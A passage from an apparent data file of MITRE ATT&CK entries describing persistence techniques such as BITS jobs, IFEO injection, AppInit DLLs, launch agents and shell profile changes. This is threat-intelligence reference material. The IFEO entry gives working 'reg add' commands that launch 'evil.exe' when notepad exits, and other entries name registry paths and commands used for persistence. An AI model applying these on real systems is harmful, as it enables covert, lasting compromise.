an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\nT1197 | BITS Jobs | Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)\nT1180 | Screensaver | Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\nT1183 | Image File Execution Options Injection | Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\nT1177 | LSASS Driver | The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\nT1182 | AppCert DLLs | Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\nT1176 | Browser Extensions | Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)\nT1179 | Hooking | Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\nT1156 | Malicious Shell Modification | Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\nT1152 | Launchctl | Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\nT1168 | Local Job Scheduling | On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\nT1158 | Hidden Files and Directories | To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\nT1137 | Office Application Startup | Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)\nT1162 | Login Item | MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).\nT1165 | Startup Items | Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\nT1160 | Launch Daemon | Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.\nT1161 | LC_LOAD_DYLIB Addition | Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).\nT1163 | Rc.common | During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\nT1138 | Application Shimming | The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\nT1154 | Trap | The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)\nT1136 | Create Account | Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.\nT1150 | Plist Modification | Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\nT1166 | Setuid and Setgid | When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).\nT1164 | Re-opened Applications | Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\nT1157 | Dylib Hijacking | macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\nT1159 | Launch Agent | Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).\nT1133 | External Remote Services | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\nT1131 | Authentication Package | Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.\nT1128 | Netsh Helper DLL | Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\nT1122 | Component Object Model Hijacking | The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\nT1109 | Component Firmware | Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\nT1108 | Redundant Access | **This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.\nT1103 | AppInit DLLs | Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\nT1101 | Security Support Provider | Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\nT1100 | Web Shell | A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\nT1098 | Account Manipulation | Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a 